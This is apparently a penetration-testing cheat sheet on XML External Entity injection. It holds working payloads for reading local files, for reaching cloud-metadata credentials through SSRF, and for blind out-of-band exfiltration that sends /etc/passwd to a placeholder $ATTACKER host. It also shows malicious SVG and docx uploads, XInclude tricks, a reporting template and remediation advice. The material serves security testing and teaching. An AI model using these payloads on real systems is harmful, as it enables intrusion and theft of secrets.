☼
⌃
☰

XML External Entity Injection

Table of Contents

A vulnerability in XML parsers that process external entity references defined within the DOCTYPE declaration. The attacker crafts a malicious XML document that causes the parser to retrieve and return the contents of local files or make server-side requests — effectively a file-read or SSRF vector delivered through XML parsing.

Requires the application to accept XML input and for the parser to have external entity processing enabled (often the default in older libraries). Modern parsers frequently disable this by default, making XXE less prevalent than in earlier years — but still present in legacy applications and in endpoints that accept XML but are not the primary interface.

Related: SSRF File Inclusion API Testing Methodology Web Application Testing Methodology PT1 Vulnerability Classification Cheat Sheet

1. Identifying XXE Attack Surface

TEXT
Look for endpoints that accept XML:
- Content-Type: application/xml
- Content-Type: text/xml
- SOAP web services (always XML)
- File upload accepting .xml, .docx, .xlsx, .svg, .pptx
  (Office formats are zip archives containing XML internally)
- JSON endpoints that also accept XML (try changing Content-Type)
- SVG upload (SVG is XML)
SHELL
# Test if an endpoint accepts XML by changing Content-Type
curl -X POST http://$IP/api/data \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><data><item>test</item></data>'

# If the response reflects the XML content, the endpoint parses XML

2. Basic XXE — File Read

The classic XXE payload defines an external entity pointing to a local file and references it in the document body:

XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>
SHELL
# Send the payload
curl -X POST http://$IP/endpoint \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><data>&xxe;</data></root>'

Common Files to Target

TEXT
# Linux
file:///etc/passwd
file:///etc/shadow          # requires root
file:///etc/hosts
file:///proc/self/environ   # environment variables
file:///var/www/html/.env   # app secrets
file:///var/www/html/config.php
file:///proc/self/cmdline

# Windows
file:///C:/Windows/win.ini
file:///C:/Windows/System32/drivers/etc/hosts
file:///C:/inetpub/wwwroot/web.config

3. XXE to SSRF

Replace the file:// URI with http:// to make the server fetch an internal resource — identical in effect to SSRF:

XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root><data>&xxe;</data></root>
SHELL
# Internal service discovery via XXE
# Replace SYSTEM URI with internal targets
# http://localhost/admin
# http://192.168.1.10:8080/
# http://169.254.169.254/latest/meta-data/iam/security-credentials/

See SSRF for full internal service and cloud metadata targets.

4. Blind XXE

The parser processes the entity but the response is not returned in the output. Use out-of-band techniques to confirm and extract data.

Out-of-Band Detection

XML
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://$ATTACKER/xxe-test">
]>
<root><data>&xxe;</data></root>
SHELL
# Listen for incoming request on attacker
python3 -m http.server 80
# If a request arrives — blind XXE confirmed

Use Burp Collaborator or Interactsh for cleaner OOB detection:

XML
<!ENTITY xxe SYSTEM "http://<collaborator_id>.burpcollaborator.net">

Exfiltrate Data via OOB

Define a parameter entity that reads a file and sends it via HTTP to the attacker:

XML
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://$ATTACKER/evil.dtd">
  %dtd;
]>
<root><data>&send;</data></root>

Host evil.dtd on attacker server:

XML
<!ENTITY % all "<!ENTITY send SYSTEM 'http://$ATTACKER/?data=%file;'>">
%all;
SHELL
# Serve the DTD and capture the exfiltrated content
python3 -m http.server 80
# Incoming request will contain /etc/passwd content in the query string

5. XXE via File Upload

File formats that contain XML internally can carry XXE payloads even when the application appears to accept only files:

SVG Upload

XML
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg">
  <text y="1em">&xxe;</text>
</svg>

Docx / Xlsx / PPTX

Office Open XML formats are ZIP archives containing XML files. Unzip, inject into one of the XML components, rezip:

SHELL
# Unzip the docx
cp document.docx /tmp/test.docx
cd /tmp && mkdir docx_extracted
cp test.docx docx_extracted/ && cd docx_extracted
unzip test.docx

# Inject XXE into word/document.xml
# Add DOCTYPE declaration before the <w:document> root element

# Repack
zip -r ../malicious.docx .

6. XInclude Attack

When you cannot control the DOCTYPE (e.g. the value is embedded inside a larger document), XInclude may work instead:

XML
<!-- Inject into any XML field the application processes -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

7. Testing Methodology

TEXT
1. Identify XML input: change Content-Type header, look for SOAP
   endpoints, file upload accepting XML-based formats
2. Basic file read: inject DOCTYPE + ENTITY pointing to /etc/passwd
3. If response includes file content — XXE confirmed
4. If no response content — test for blind XXE with OOB callback
5. If blind: host evil.dtd for data exfiltration via HTTP
6. Test XXE-to-SSRF: point ENTITY at internal HTTP services
7. Test file upload vectors: SVG, docx, xlsx
8. Test XInclude if DOCTYPE is blocked

8. Reporting Template

Classification: XML External Entity (XXE)

Severity: Critical (RCE via SSRF to internal services) / High (arbitrary file read or internal network access)

Description: The XML parser at [endpoint] processes external entity references without restriction. An attacker can define a malicious entity referencing local files or internal HTTP services, causing the server to disclose sensitive file contents or make requests to internal infrastructure.

Evidence:

POST /api/parse HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

HTTP/1.1 200 OK
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Remediation:

  • Disable external entity processing in the XML parser
  • Disable DOCTYPE declarations entirely if not required
  • Use a less complex data format (JSON) where XML is not needed
  • Patch XML parsing libraries to current versions

Tips

  • Always test Content-Type: application/xml on JSON endpoints — many frameworks accept both and the XML code path is often less hardened
  • SVG upload is the most commonly overlooked XXE vector — any application accepting image uploads that renders SVG is worth testing
  • If file:// entities are blocked, test http:// for SSRF — the two mitigations are often applied independently
  • XInclude does not require DOCTYPE and bypasses filters that block the <!DOCTYPE> declaration specifically
  • Blind XXE with OOB exfiltration is more complex to exploit but more commonly encountered than direct XXE — always test for blind XXE even when direct output is absent
  • On the exam: XXE and SSRF often appear as a chain — XXE gives you the SSRF capability; report both the XXE mechanism and the SSRF impact separately